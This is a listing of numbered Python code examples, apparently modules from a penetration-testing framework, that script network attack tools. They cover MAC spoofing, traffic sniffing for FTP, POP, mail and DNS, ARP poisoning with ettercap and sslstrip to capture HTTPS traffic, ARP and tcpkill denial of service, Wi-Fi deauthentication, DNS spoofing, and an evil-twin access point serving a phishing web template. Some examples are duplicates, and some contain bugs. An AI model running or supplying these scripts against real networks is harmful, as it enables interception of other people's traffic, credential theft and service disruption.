Example #1
0
def Main():

    MAC=""
    picks = ['katana','k4tan4','KAtAn4','K4TanA','K4TaNA','KATANA','ANATAK','|<474/\/A']
    a = hashlib.md5(random.choice(picks))
    b = a.hexdigest()
    as_int = int(b, 16)
    random.seed(bin(as_int)[2:])

    mac = [ 0x00, 0x16, 0x3e,
        random.randint(0x00, 0x7f),
        random.randint(0x00, 0xff),
        random.randint(0x00, 0xff) ]

    if init.var['r'] == "enable":MAC=':'.join(map(lambda x: "%02x" % x, mac))
    if init.var['m']!="null" and init.var['m']!="enable":
        if checkMAC(init.var['m']):MAC=init.var['m']
    
    if checkDevice(init.var['i']):
        printAlert(0,"Changing MAC to "+init.var['i'])
        printAlert(0,"MAC to Change "+MAC)
        sysc("sudo airmon-ng check kill >/dev/null 2>&1")
        sysc("sudo ifconfig "+init.var['i']+" down >/dev/null 2>&1")
        sysc("sudo ifconfig "+init.var['i']+" hw ether "+MAC+" >/dev/null 2>&1") 
        sysc("sudo ifconfig "+init.var['i']+" up >/dev/null 2>&1")
        sysc("sudo service NetworkManager start >/dev/null 2>&1") 
        printAlert(3,"MAC Changed")
        return
def main(run):

    try:
        if init.var['filter'] == "DNS": FILTER = "udp or port 53"
        elif init.var['filter'] == "FTP": FILTER = "port 21"
        elif init.var['filter'] == "ALL": FILTER = "udp or tcp"
        elif init.var['filter'] == "POP": FILTER = "port 110"
        elif init.var['filter'] == "HTTP": FILTER = "port 80 or 8080"
        elif init.var['filter'] == "MAIL": FILTER = "port 25 or 110 or 143"
        else:
            printAlert(
                1,
                "Type not allow, use show options or sop and see Auxiliar help."
            )
            FILTER = "udp or tcp"
            return

        if checkDevice(init.var['interface']):
            print " " + colors[4] + (
                "TIME: %-*s ID:    PRO:%-*s SRC: %-*s DST: %-*s PORT: %-*s HOST:  TYPE:  PATH:"
                % (4, "", 3, "", 16, "", 16, "", 5, "")) + colors[0]
            while True:
                sniff(filter=FILTER,
                      prn=callback,
                      store=0,
                      iface=init.var['interface'])
    except KeyboardInterrupt:
        sys.exit()
def main(run):

	if isConect() and checkDevice(init.var['drive']):
		printAlert(0,"Starting ARP Poisoning...")
		Subprocess("ettercap -T -M ARP /"+init.var['target']+"// /"+init.var['gateway']+"// -i "+init.var['drive'])
		raw_input(printAlert(8,"Stop Attack ARP (PRESS ANY KEY)"))
		commands.getoutput("killall ettercap")	
Example #4
0
def Main():

    MAC = ""
    picks = [
        'katana', 'k4tan4', 'KAtAn4', 'K4TanA', 'K4TaNA', 'KATANA', 'ANATAK',
        '|<474/\/A'
    ]
    a = hashlib.md5(random.choice(picks))
    b = a.hexdigest()
    as_int = int(b, 16)
    random.seed(bin(as_int)[2:])

    mac = [
        0x00, 0x16, 0x3e,
        random.randint(0x00, 0x7f),
        random.randint(0x00, 0xff),
        random.randint(0x00, 0xff)
    ]

    if init.var['r'] == "enable":
        MAC = ':'.join(map(lambda x: "%02x" % x, mac))
    if init.var['m'] != "null" and init.var['m'] != "enable":
        if checkMAC(init.var['m']): MAC = init.var['m']

    if checkDevice(init.var['i']):
        printAlert(0, "Changing MAC to " + init.var['i'])
        printAlert(0, "MAC to Change " + MAC)
        sysc("sudo airmon-ng check kill >/dev/null 2>&1")
        sysc("sudo ifconfig " + init.var['i'] + " down >/dev/null 2>&1")
        sysc("sudo ifconfig " + init.var['i'] + " hw ether " + MAC +
             " >/dev/null 2>&1")
        sysc("sudo ifconfig " + init.var['i'] + " up >/dev/null 2>&1")
        sysc("sudo service NetworkManager start >/dev/null 2>&1")
        printAlert(3, "MAC Changed")
        return
def main(run):

	if isConect() and checkDevice(init.var['interface']):
		printAlert(0,"Starting ARP D.O.S attack...")
		Subprocess("ettercap -Tq -P rand_flood /"+init.var['target']+"// /"+init.var['gateway']+"// -i "+init.var['interface'])
		raw_input(printAlert(8,"to Stop ARP D.O.S Attack (PRESS [ENTER])\n"))
		commands.getoutput("killall ettercap")	
def main(run):

    if isConect() and checkDevice(init.var['interface']):
        printAlert(0, "Starting ARP D.O.S attack...")
        Subprocess("ettercap -Tq -P rand_flood /" + init.var['target'] +
                   "// /" + init.var['gateway'] + "// -i " +
                   init.var['interface'])
        raw_input(printAlert(8, "to Stop ARP D.O.S Attack (PRESS [ENTER])\n"))
        commands.getoutput("killall ettercap")
Example #7
0
def main(run):

	if isConect() and checkDevice(init.var['interface']):
		commands.getoutput("echo 1 > /proc/sys/net/ipv4/ip_forwar")
		printAlert(0,"Starting WEB D.O.S Attack in LAN")
		Subprocess("tcpkill -i "+init.var['interface']+" -9 host "+init.var['target'])
		raw_input(printAlert(8,"to Stop WEB D.O.S Attack (PRESS ANY KEY)\n"))
		commands.getoutput("killall tcpkill")
		commands.getoutput("echo 0 > /proc/sys/net/ipv4/ip_forwar")

# END CODE MODULE ############################################################################################
Example #8
0
def main(run):
	if checkDevice(init.var['drive']):
		if   init.var['target']  == "ALL": Subprocess("aireplay-ng -0 0 -a "+init.var['bssid']+" "+init.var['drive'])
		elif init.var['target']  == "ALL": Subprocess("aireplay-ng -0 0 -a "+init.var['bssid']+" -c "+init.var['target']+" "+init.var['drive'])
		else:
			init.var['target'] = "ALL"
			printAlert(1,"Type not allow, use show options or sop and see Auxiliar help.")
			return

		printAlert(0,"Starting attack to "+init.var['target']+" with [aireplay-ng]")
		raw_input(printAlert(8,"to stop DOS Attack (PRESS ANY KEY)\n"))
		subprocess.call("killall aireplay-ng", shell=True)
Example #9
0
def main(run):
	if  init.var['filter'] == "DNS" : FILTER = "udp or port 53"
	elif init.var['filter']  == "FTP" : FILTER = "port 21"
	elif init.var['filter']  == "ALL" : FILTER = "udp or tcp"
	elif init.var['filter']  == "POP" : FILTER = "port 110"
	else:
		printAlert(1,"Type not allow, use show options or sop and see Auxiliar help.")
		FILTER = "udp or tcp"
		return
	
	if checkDevice(init.var['interface']):
		print " "+colors[10]+" #\t"+colors[4]+"PROTOCOL    SOURCE\t\tDESTINE\t\tDATA          "+colors[0]
		while True:sniff(filter=FILTER, prn=callback, store=0, iface=init.var['interface'])
Example #10
0
def main(run):
	if isConect() and checkDevice(init.var['interface']):
		Loadingfile(init.var['hostfile'])
		open(init.var['hostfile'],'r')
		printAlert(0,"Starting DNS spoofing [dnsspoof].")
		commands.getoutput("iptables --flush -t nat")
		commands.getoutput("sudo fuser -kuv 53/udp  >/dev/null 2>&1 ")
		commands.getoutput("echo 1 > /proc/sys/net/ipv4/ip_forward")
		Subprocess("dnsspoof -i "+init.var['interface']+" -f "+init.var['hostfile'])
		raw_input(printAlert(8,"to Stop DNS Spoof Attack (PRESS ANY KEY)\n"))
		commands.getoutput("killall dnsspoof")
		commands.getoutput("echo 0 > /proc/sys/net/ipv4/ip_forward")
		commands.getoutput("iptables --flush -t nat")
Example #11
0
def main(run):
    if isConect() and checkDevice(init.var['interface']):
        Loadingfile(init.var['hostfile'])
        open(init.var['hostfile'], 'r')
        printAlert(0, "Starting DNS spoofing [dnsspoof].")
        commands.getoutput("iptables --flush -t nat")
        commands.getoutput("sudo fuser -kuv 53/udp  >/dev/null 2>&1 ")
        commands.getoutput("echo 1 > /proc/sys/net/ipv4/ip_forward")
        Subprocess("dnsspoof -i " + init.var['interface'] + " -f " +
                   init.var['hostfile'])
        raw_input(printAlert(8, "to Stop DNS Spoof Attack (PRESS ANY KEY)\n"))
        commands.getoutput("killall dnsspoof")
        commands.getoutput("echo 0 > /proc/sys/net/ipv4/ip_forward")
        commands.getoutput("iptables --flush -t nat")
Example #12
0
def Main():
	savedefaultrules()
	if init.var['t'] == "enable":
		startTOR()
	if init.var['r'] == "enable":
		restoreiptables()
	if init.var['c'] == "enable":
		cleanIptables()
	if checkDevice(init.var['i']):
		if init.var['p'] == "enable" and if init.var['o'] == "enable":
			p0rt = init.var['p']
			host = init.var['o']
			intf = init.var['i']
			prox2ip(host,port,ip)
	else:
		showhelp()
def main(run):
	
	if isConect() and checkDevice(init.var['interface']):
		printAlert(0,"Starting ARP Poisoning [ettercap].")
		commands.getoutput("iptables --flush -t nat")
		commands.getoutput("echo 1 > /proc/sys/net/ipv4/ip_forward")
		Subprocess("ettercap -T -M ARP /"+init.var['target']+"// /"+init.var['gateway']+"// -i "+init.var['interface'])
		if init.var['https']:
			printAlert(0,"Starting SSL Capturing [sslstrip].")
			commands.getoutput("sudo fuser -kuv 10000/tcp  >/dev/null 2>&1 ")
			commands.getoutput("echo 1 > /proc/sys/net/ipv4/ip_forward")
			commands.getoutput("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000")
			Subprocess("sslstrip")
		raw_input(printAlert(8,"to Stop ARP Attack (PRESS ANY KEY)\n"))
		commands.getoutput("killall ettercap")
		commands.getoutput("killall sslstrip")
		commands.getoutput("echo 0 > /proc/sys/net/ipv4/ip_forward")
		commands.getoutput("iptables --flush -t nat")
Example #14
0
def main(run):
    if init.var['filter'] == "DNS": FILTER = "udp or port 53"
    elif init.var['filter'] == "FTP": FILTER = "port 21"
    elif init.var['filter'] == "ALL": FILTER = "udp or tcp"
    elif init.var['filter'] == "POP": FILTER = "port 110"
    else:
        printAlert(
            1,
            "Type not allow, use show options or sop and see Auxiliar help.")
        FILTER = "udp or tcp"
        return

    if checkDevice(init.var['interface']):
        print " " + colors[10] + " #\t" + colors[
            4] + "PROTOCOL    SOURCE\t\tDESTINE\t\tDATA          " + colors[0]
        while True:
            sniff(filter=FILTER,
                  prn=callback,
                  store=0,
                  iface=init.var['interface'])
Example #15
0
def main(run):

    if isConect() and checkDevice(init.var['interface']):
        printAlert(0, "Starting ARP Poisoning [ettercap].")
        commands.getoutput("iptables --flush -t nat")
        commands.getoutput("echo 1 > /proc/sys/net/ipv4/ip_forward")
        Subprocess("ettercap -T -M ARP /" + init.var['target'] + "// /" +
                   init.var['gateway'] + "// -i " + init.var['interface'])
        if init.var['https'] == "true":
            printAlert(0, "Starting SSL Capturing [sslstrip].")
            commands.getoutput("sudo fuser -kuv 10000/tcp  >/dev/null 2>&1 ")
            commands.getoutput("echo 1 > /proc/sys/net/ipv4/ip_forward")
            commands.getoutput(
                "iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000"
            )
            Subprocess("sslstrip")
        raw_input(printAlert(8, "to Stop ARP Attack (PRESS ANY KEY)\n"))
        commands.getoutput("killall ettercap")
        commands.getoutput("killall sslstrip")
        commands.getoutput("echo 0 > /proc/sys/net/ipv4/ip_forward")
        commands.getoutput("iptables --flush -t nat")
Example #16
0
def main(run):
	if checkDevice(init.var['drive']) and CheckAPmode():
		Loadingfile(init.var['template'])
		process=commands.getoutput("airmon-ng check $INTERFACE | tail -n +8 | grep -v \"on interface\" | awk '{ print $2 }'")
		printAlert(0,"Killing proccess on interface")
		process=process.split("\n")
		for p in process:
			commands.getoutput("kilall "+p)

		rangos=init.var['ip_range'].split(".")
		rango=rangos[0]+"."+rangos[1]+"."+rangos[3]+".1"
		rangov=rangos[0]+"."+rangos[1]+"."+rangos[3]

		printAlert(0,"Setting tables ["+rango+"]")
		commands.getoutput("ifconfig "+init.var['drive']+" up")
		commands.getoutput("ifconfig "+init.var['drive']+" "+init.var['ip_range']+" netmask 255.255.255.0")
		commands.getoutput("route add -net "+rango+" netmask 255.255.255.0 gw "+init.var['ip_range'])
		commands.getoutput("echo \"1\" > /proc/sys/net/ipv4/ip_forward")
		commands.getoutput("iptables --flush")
		commands.getoutput("iptables --table nat --flush")
		commands.getoutput("iptables --delete-chain")
		commands.getoutput("iptables --table nat --delete-chain")
		commands.getoutput("iptables -P FORWARD ACCEPT")
		commands.getoutput("iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination "+init.var['ip_range']+":80")
		commands.getoutput("iptables -t nat -A POSTROUTING -j MASQUERADE")
		commands.getoutput("echo interface="+init.var['drive']+"  > tmp/hostapd.conf")
		commands.getoutput("echo driver=nl80211                  >> tmp/hostapd.conf")
		commands.getoutput("echo ssid="+init.var['essid']+"      >> tmp/hostapd.conf")
		commands.getoutput("echo channel="+init.var['channel']+" >> tmp/hostapd.conf")

		commands.getoutput("echo authoritative\;> tmp/dhcpd.config")
		commands.getoutput("echo default-lease-time 600\;>> tmp/dhcpd.config")
		commands.getoutput("echo max-lease-time 7200\;>> tmp/dhcpd.config")
		commands.getoutput("echo subnet "+rangov+".0 netmask 255.255.255.0 { >> tmp/dhcpd.config")
		commands.getoutput("echo option broadcast-address "+rangov+".255\;>> tmp/dhcpd.config")
		commands.getoutput("echo option routers "+rango+"\;>> tmp/dhcpd.config")
		commands.getoutput("echo option subnet-mask 255.255.255.0\;>> tmp/dhcpd.config")
		commands.getoutput("echo option domain-name-servers "+rango+"\;>> tmp/dhcpd.config")
		commands.getoutput("echo range "+rangov+".100 "+rangov+".250\;>> tmp/dhcpd.config")
		commands.getoutput("echo }>> tmp/dhcpd.config")

		printAlert(0,"Starting Apache Server                   "+status_cmd("service apache2 start"))
		printAlert(0,"Coping Files to Server                   "+status_cmd("cp -r "+init.var['template']+"* "+PATCH_WWW))
		printAlert(0,"Starting Access Point ["+init.var['essid']+"]")
		Subprocess("hostapd tmp/hostapd.conf")
		printAlert(0,"Starting DHCP server")
		Subprocess("dhcpd -d -f -cf tmp/dhcpd.config")
		printAlert(0,"Starting DOS attack to "+init.var['bssid'])
		Subprocess("aireplay-ng -0 0 -a "+init.var['bssid']+" "+init.var['drive'])
		print(printAlert(8,"(PRESS Ctrol+C) to stop DOS Attack\n"))
		DNSFAKE()
		commands.getoutput("killall dhcpd")
		commands.getoutput("killall hostapd")
		commands.getoutput("killall aireplay-ng")
		commands.getoutput("iptables --flush")
		commands.getoutput("iptables --table nat --flush")
		commands.getoutput("iptables --delete-chain")
		commands.getoutput("iptables --table nat --delete-chain")
		for p in process:
			commands.getoutput("service "+p+" start")

		printAlert(0,"Removing files                           "+status_cmd("rm -r "+PATCH_WWW+"* ; rm tmp/hostapd.conf; rm tmp/dhcpd.config"))
		printAlert(0,"Stoping Apache Server                    "+status_cmd("service apache2 stop"))
		Space()